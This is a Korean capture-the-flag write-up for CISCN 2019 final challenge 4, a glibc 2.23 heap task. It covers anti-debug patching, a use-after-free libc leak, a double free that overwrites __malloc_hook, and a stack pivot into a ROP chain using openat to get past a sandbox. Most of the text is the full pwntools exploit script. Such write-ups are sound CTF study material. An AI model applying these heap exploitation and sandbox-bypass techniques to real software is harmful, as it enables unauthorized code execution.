CISCN 2019 최종 문제 4: UAF 및 Double Free 활용

보호 전략

이 문제에서는 사용자 정의 샌드박스 규칙과 여러 반디버깅 기법을 적용했습니다. 반디버깅을 우회하려면 코드를 NOP 명령어로 대체하면 됩니다.

프로그램 분석

이 문제는 일반적인 메뉴 기반 힙 문제입니다. 하지만 힙 시작 전에 스택에 0xff 크기의 데이터를 입력할 수 있습니다. 이 문제에는 edit 기능이 없으며, UAF 취약점만 존재합니다. 그러나 glibc 버전이 2.23으로 제한되어 있어 setcontext를 통한 쉘코드 실행은 불가능합니다.

취약점 활용

UAF를 통해 libc 주소를 유출하고, double free를 이용해 malloc_hook을 수정합니다. 디버깅 결과, malloc_hook을 수정한 후 rsp는 스택에 입력된 데이터와 0x38 바이트 떨어져 있음을 확인했습니다. 따라서 rsp를 조정하여 스택에 입력된 데이터를 실행할 수 있습니다.

open 함수가 비활성화되어 있지만 openat 함수를 사용할 수 있습니다. 두 함수의 차이점은 openat가 파일 디스크립터(fd)를 추가로 필요로 한다는 것입니다.

int open(const char *path, int aflag, .../*mode_t mode*/);
int openat(int fd, const char *path, int aflag, .../*mode_t mode*/);

핵심 포인트

  1. 프로그램이 자체 샌드박스 규칙을 작성했으나 복잡하지 않음.
  2. 반디버깅이 있어 일부 명령어를 NOP로 변경해야 함.
  3. rsp를 변경하여 스택에서 실행 흐름을 제어함.

exploit 코드

원격 서버용:

from tools import *
p, e, libc = load('a', 'node4.buuoj.cn:28635', 'libc-2.23.so')
context.log_level = 'debug'
context.arch = 'amd64'

def start(stack):
    p.recvuntil('what is your name?')
    p.sendline(stack)

def new(size, content):
    p.sendlineafter('>> ', '1')
    p.sendlineafter('size?', str(size))
    p.sendlineafter('content?', content)

def show(index):
    p.sendlineafter('>> ', '3')
    p.sendlineafter('index ?', str(index))

def delete(index):
    p.sendlineafter('>> ', '2')
    p.sendlineafter('index ?', str(index))

pop_rdi = 0x0000000000401193
pop_rsi_r15 = 0x0000000000401191
pop_rsp_r13_r14_r15 = 0x000000000040118d
bss_addr = 0x602050

payload = p64(pop_rdi) + p64(0) + p64(pop_rsi_r15) + p64(bss_addr) + p64(0) + p64(e.plt['read']) + p64(pop_rsp_r13_r14_r15) + p64(bss_addr) + p64(0)*0x3
payload += b'a'*0x30 + b'b'*0x30
start(payload)

new(0xa0, b'aaaaaaaa')
new(0x20, b'bbbbbbbb')
delete(0)
show(0)
leak_libc = recv_libc()
libc_base = leak_libc - 0x3c4b78
malloc_hook = libc_base + libc.symbols['__malloc_hook'] - 0x23
rsp = libc_base + 0x0000000000143e08

new(0x68, b'aaaaaaaa')
new(0x68, b'bbbbbbbb')
delete(2)
delete(3)
delete(2)

new(0x68, p64(malloc_hook)) # 2
new(0x68, b'aaaaaaaa') # 3
new(0x68, b'bbbbbbbb') # 2

new(0x68, b'c'*0xa + b'd'*0x9 + p64(rsp)) # leak
log_addr('malloc_hook')
log_addr('rsp')

mprotect_addr = libc_base + libc.symbols['mprotect']
pop_rdi = libc_base + 0x0000000000021102
pop_rsi = libc_base + 0x00000000000202e8
pop_rdx = libc_base + 0x0000000000001b92

openat = libc_base + 0x00000000000f70f0
read = libc_base + 0x00000000000f7250
write = libc_base + 0x00000000000f72b0

payload = b'/flag\x00' + b'a'*0x7 + b'b'*0xb
payload += p64(pop_rdi) + p64(bss_addr - 0x20) + p64(pop_rsi) + p64(0x200) + p64(pop_rdx) + p64(0x7) + p64(mprotect_addr)
payload += p64(pop_rdi) + p64(0) + p64(pop_rsi) + p64(bss_addr) + p64(pop_rdx) + p64(0) + p64(openat)
payload += p64(pop_rdi) + p64(3) + p64(pop_rsi) + p64(bss_addr + 0x100) + p64(pop_rdx) + p64(0x50) + p64(read)
payload += p64(pop_rdi) + p64(1) + p64(pop_rsi) + p64(bss_addr + 0x100) + p64(pop_rdx) + p64(0x50) + p64(write)
p.send(payload)
p.interactive()

태그: heap-exploitation UAF double-free glibc openat

6월 27일 17:14에 게시됨